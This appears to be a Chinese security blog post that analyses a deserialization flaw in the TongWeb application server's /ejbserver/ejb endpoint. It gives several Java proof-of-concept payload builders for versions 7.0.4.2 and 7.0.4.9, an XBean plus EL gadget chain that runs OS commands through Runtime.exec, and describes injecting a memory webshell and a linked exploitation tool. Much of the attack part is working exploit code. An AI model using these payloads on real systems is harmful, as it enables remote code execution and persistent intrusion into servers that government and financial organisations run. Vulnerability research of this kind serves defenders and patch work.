TongWeb反序列化
简介
TongWeb 是东方通(Beijing Tongtech Co., Ltd.)自主研发的企业级应用服务器,全面支持 Java EE(现 Jakarta EE)标准,兼容主流开发框架,广泛应用于金融、电信、政府、能源等关键行业的信息化和数字化转型。TongWeb 具备高性能、高可用、分布式和集群部署能力,支持微服务架构、容器化和云原生环境,能够灵活适配多种操作系统和硬件平台。

影响版本
1 2
| 7.0.0.0<=TongWeb<=7.0.4.9_M9 6.1.7.0<=TongWeb<=6.1.8.13
|
漏洞原理
TongWeb ejb 服务没有校验请求的数据,直接对来源的数据进行反序列化,而默认情况下,http 服务(8088 端口) /ejbserver/ejb 接口会转发至 ejb 服务(5100 端口)的相同接口,攻击者可发送特定的数据包,造成反序列化漏洞,其中可利用的反序列化链主要有:
1 2 3 4 5 6 7
| # 7.0.4.2 可用, 7.0.4.9黑名单 BadAttributeValueExpExceptionToString->XbeanToString->TongWebEL->NashornJS # 7.0.4.2 可用, 7.0.4.9特殊序列化不可用 EventListenerListToString->XbeanToString->TongWebEL->NashornJS # 7.0.4.2、7.0.4.9可用 Hashtable->javax.swing.UIDefaults.TextAndMnemonicHashMap.get()->XbeanToString->TongWebEL->NashornJS
|
TongWeb7.0.4.2
漏洞分析
当前分析版本:7.0.4.2
第一入口
该反序列互漏洞出现在/ejb路由下

对应Servlet的类为com.tongweb.tongejb.server.httpd.ServerServlet

提前配置好调试信息,在ServerServlet#service方法中打下断点,该方法中会从request中读取body,然后传入到EjbServer#serive中

进入EjbServer#serive,首先设置了ContextClassloader,然后再将输入流传入this.server#service中

调试跟进Daemon#service中,这里就跟到了比较重要的部分,其中我们需要看的地方是以下这两个readExternal方法

看到第一个readExternal方法,首先读取输入流的前八个字节,作为版本号信息

然后在init方法中对版本号进行正则匹配,检查版本信息是否为OEJB/x.x格式,若不是则会抛出异常

进入第二个readExternal方法,首先读取一个字节作为版本信息,然后对剩下的序列化数据进行readObject反序列化,我们的漏洞触发点就在这里

第二入口
第二个入口在后面一些,在前面的反序列化流程可以成功通过的前提下,我们会继续向后走
在反序列化URI[]后,会继续读取一个字节

读取该字节后对照ENUM_MAP来选择对应的RequestType

我们不想走入这两个if分支中,那么我们要保证该字节不为-1和3

经过两个if判断后,依旧读取一个字节,对应RequestType,这里我们需要让他走到EJB_REQUEST的情况中,因为漏洞触发点在这个perccessEjbRequest方法中

走进该方法,我们看到了存在一个readExternal调用,上面的漏洞触发点就在这里

进入看到,和上面的漏洞触发是比较相似的,也是读取一个字节后对剩余字节进行readObject处理

这个字节需要是RequestMethodCodeMap中的其中之一即可

最终我们需要构造的payload如下(直接拿的别的师傅的,但是这里应该是缺少了一个URI[]对象)

POC
POC1
根据上面的分析,我们所构造的payload应该是以下这样的

需要注意的是,我们在读取了前八个字节以后,调用了new EjbObjectInputStream(cis),这里要求我们剩余序列化数据的开头为AC ED 00 05,因此我们那一个字节的版本信息需要写在序列化数据中,而不是单独的字节

根据以上分析,写出了以下Poc,其中baseString直接替换为序列化数据的Base64编码即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import java.io.ByteArrayOutputStream; import java.util.Base64;
public class Demo { public static void main(String[] args) throws Exception { String baseString = ""; System.out.println(serialize(baseString)); }
public static String serialize(String baseString) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
String ClientInfoString = "OEJP/1.1"; byte[] ClientInfoBytes = ClientInfoString.getBytes();
byteArrayOutputStream.write(ClientInfoBytes);
String Base64String = baseString; byte[] decodedBytes = Base64.getDecoder().decode(Base64String);
byteArrayOutputStream.write(decodedBytes,0,4); byteArrayOutputStream.write(0x77); byteArrayOutputStream.write(0x01); byteArrayOutputStream.write(0x01); byteArrayOutputStream.write(decodedBytes,4,decodedBytes.length - 4);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } }
|
直接使用javaChains工具即可,可以看到成功延时


在TongWeb中带有CB依赖,但是使用CB链打的时候报错提示ClassNotFound BeanCompartor,因此CB依赖打不通

这里是Yinsel师傅写的POC,用来检测是否存在漏洞的,但是还是不能进行漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public class Demo { public static void main(String[] args) throws Exception { System.out.println(serialize(getObject())); } public static String serialize(Object object) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(bout); obout.writeByte(1); obout.writeObject(object); String clientInfoString = "OEJP/1.1"; byte[] clientInfoBytes = clientInfoString.getBytes(); ByteArrayOutputStream bout2 = new ByteArrayOutputStream(); bout2.write(clientInfoBytes); bout2.write(bout.toByteArray()); return Base64.getEncoder().encodeToString(bout2.toByteArray()); } public static Object getObject() throws Exception { Class findClazz = Object.class; Set<Object> root = new HashSet(); Set<Object> s1 = root; Set<Object> s2 = new HashSet(); for(int i = 0; i < 28; ++i) { Set<Object> t1 = new HashSet(); Set<Object> t2 = new HashSet(); t1.add(findClazz); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; } }
|
POC2
我自己尝试自己写了写Poc,想和上面一样通过传入BASE64字符串,但是一直没有成功,先把Yinsel师傅的POC拿来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class Demo { public static void main(String[] args) throws Exception { System.out.println(serialize(getObject())); } public static String serialize(Object object) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(bout); URI[] uris = new URI[1]; obout.writeByte(1); obout.writeObject(uris); obout.writeByte(0); obout.writeByte(0); obout.writeByte(1); obout.writeObject(object); obout.flush(); String clientInfoString = "OEJP/1.1"; byte[] clientInfoBytes = clientInfoString.getBytes(); ByteArrayOutputStream bout3 = new ByteArrayOutputStream(); bout3.write(clientInfoBytes); bout3.write(bout.toByteArray()); return Base64.getEncoder().encodeToString(bout3.toByteArray()); } public static Object getObject() throws Exception { Class findClazz = Object.class; Set<Object> root = new HashSet(); Set<Object> s1 = root; Set<Object> s2 = new HashSet(); for(int i = 0; i < 28; ++i) { Set<Object> t1 = new HashSet(); Set<Object> t2 = new HashSet(); t1.add(findClazz); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; } }
|
TongWeb7.0.4.9
漏洞分析
7.0.4.9和7.0.4.2两个版本的入口点是在同一个地方的,但是有些地方有些细微的差异
第一点是7.0.4.9中将ProtocolMetaData#readExternal方法被置空了,所以不在需要开头的八个字节

第二点差异是在ServerMetaData#readExternal部分,原本的原生反序列化readObject被替换成了Kryotuil#readFromByteArrayBysize工具类反序列化,但是本质上还是readObject,因此我们在构造poc的时候,使用该工具类自带的 序列化方法KryoUtil.writeToByteArray() 即可(这么看来,我之前的想法通过Base64字符串传入恶意序列化工具的想法就被pass掉了)

第三点在EJBRequest#readExteral方法中,在原本的基础上,多读取了两个字节,所以我们在构造的时候也就需要多添加两个字节

POC
这里的POC我就不自己捣鼓了,大体的内容还是和上面的是相类似的(自己捣鼓了捣鼓方向就错了)
POC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public class Demo { public static void main(String[] args) throws Exception { System.out.println(serialize(getObject())); } public static String serialize(Object object) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(bout); obout.writeInt(2); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); byte[] writedata = KryoUtil.writeToByteArray(object, classLoader, false); obout.writeInt(writedata.length); obout.write(writedata); obout.flush(); ByteArrayOutputStream bout3 = new ByteArrayOutputStream(); bout3.write(bout.toByteArray()); return Base64.getEncoder().encodeToString(bout3.toByteArray()); } public static Object getObject() throws Exception { Class findClazz = Object.class; Set<Object> root = new HashSet(); Set<Object> s1 = root; Set<Object> s2 = new HashSet(); for(int i = 0; i < 28; ++i) { Set<Object> t1 = new HashSet(); Set<Object> t2 = new HashSet(); t1.add(findClazz); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; } }
|
POC2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class Demo { public static void main(String[] args) throws Exception { System.out.println(serialize(getObject())); } public static String serialize(Object object) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(bout); obout.writeInt(1); obout.writeByte(1); obout.writeByte(0); obout.writeByte(1); obout.writeUTF(""); obout.writeShort(1); obout.writeObject(object); obout.flush(); ByteArrayOutputStream bout3 = new ByteArrayOutputStream(); bout3.write(bout.toByteArray()); return Base64.getEncoder().encodeToString(bout3.toByteArray()); } public static Object getObject() throws Exception { Class findClazz = Object.class; Set<Object> root = new HashSet(); Set<Object> s1 = root; Set<Object> s2 = new HashSet(); for(int i = 0; i < 28; ++i) { Set<Object> t1 = new HashSet(); Set<Object> t2 = new HashSet(); t1.add(findClazz); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; } }
|
XBean + EL表达式
但是看别的师傅的文章,可以打XBean + EL表达式执行,但是TongWeb中的打该链子的时候好像是需要魔改一下的
先学习一下这条链子是怎么打通的,首先比较常用的BadAttributeValueExpException#readObject调用任意类的toString方法

调用到Binding#toString方法,这里的链子走的是getObject方法

ContextUtil类中存在一个内部类ReadOnlyBinding,将该类传入BadAttributeValueExpException,在readObject的时候即可触发ReadOnlyBinding#getObject

走入ContextUtil#resolve,该value(Reference)是我们可控的,最后会走到getObjectInstance方法处,这里就比较熟悉了,我们在JNDI高版本利用时学过

POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.xbean;
import org.apache.naming.ResourceRef; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException; import javax.naming.StringRefAddr; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;
public class XBean { public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, ClassNotFoundException, IOException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=eval")); ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a Calculator')"));
Constructor<?> constructor = ReflectionFactory.getReflectionFactory(). newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());
ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding( "sean", ref, (WritableContext) constructor.newInstance() ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); setField(badAttributeValueExpException, "val", readOnlyBinding); serialize(badAttributeValueExpException); unserialize(); }
public static void setField(Object object , String filedName , Object value) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class clazz = object.getClass();
while(true){ try{ Field filed = clazz.getDeclaredField(filedName); filed.setAccessible(true); filed.set(object,value); break; }catch (Exception e){ clazz = clazz.getSuperclass(); }
} }
public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); }
public static void unserialize() throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream("ser.bin"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); } }
|
TongWeb反序列化利用
命令执行POC
这里使用XBean + EL表达式来执行命令,但是TongWeb中的包名是不同的,所以需要一定的修改,这里以TongWeb7.0.4.2入口一为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package org.xbean;
import com.tongweb.naming.ResourceRef; import com.tongweb.xbean.naming.context.ContextUtil;
import com.tongweb.xbean.naming.context.WritableContext; import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException; import javax.naming.StringRefAddr; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashSet; import java.util.Set;
public class TongWebXBean { public static void main(String[] args) throws Exception { System.out.println(serialize(getObject())); }
public static String serialize(Object object) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(bout); obout.writeByte(1); obout.writeObject(object); String clientInfoString = "OEJP/1.1"; byte[] clientInfoBytes = clientInfoString.getBytes(); ByteArrayOutputStream bout2 = new ByteArrayOutputStream(); bout2.write(clientInfoBytes); bout2.write(bout.toByteArray()); return Base64.getEncoder().encodeToString(bout2.toByteArray());
}
public static Object getObject() throws Exception { ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"com.tongweb.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=eval")); ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('touch /tmp/success')"));
Constructor<?> constructor = ReflectionFactory.getReflectionFactory(). newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());
ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding( "sean", ref, (WritableContext) constructor.newInstance() );
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); setField(badAttributeValueExpException, "val", readOnlyBinding); return badAttributeValueExpException; }
public static void setField(Object object , String filedName , Object value) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class clazz = object.getClass();
while(true){ try{ Field filed = clazz.getDeclaredField(filedName); filed.setAccessible(true); filed.set(object,value); break; }catch (Exception e){ clazz = clazz.getSuperclass(); }
} } }
|
调了半天终于成了

注入内存马
内存马的构造我猜大概率也是改包名即可,这里我直接使用MemshellParty的工具,生成注入内存马的EL表达式,替换POC中的EL表达式即可l


TongWebEJB武器化
经过一段时间后,我vibe coding了一个TongWeb反序列化的漏洞利用工具,项目地址如下:
https://github.com/CurlySean/TongWebExploit
第一次写这种漏洞利用工具,可能会存在一些问题,有问题的话大家可以提一下issue,点点star支持一下啦~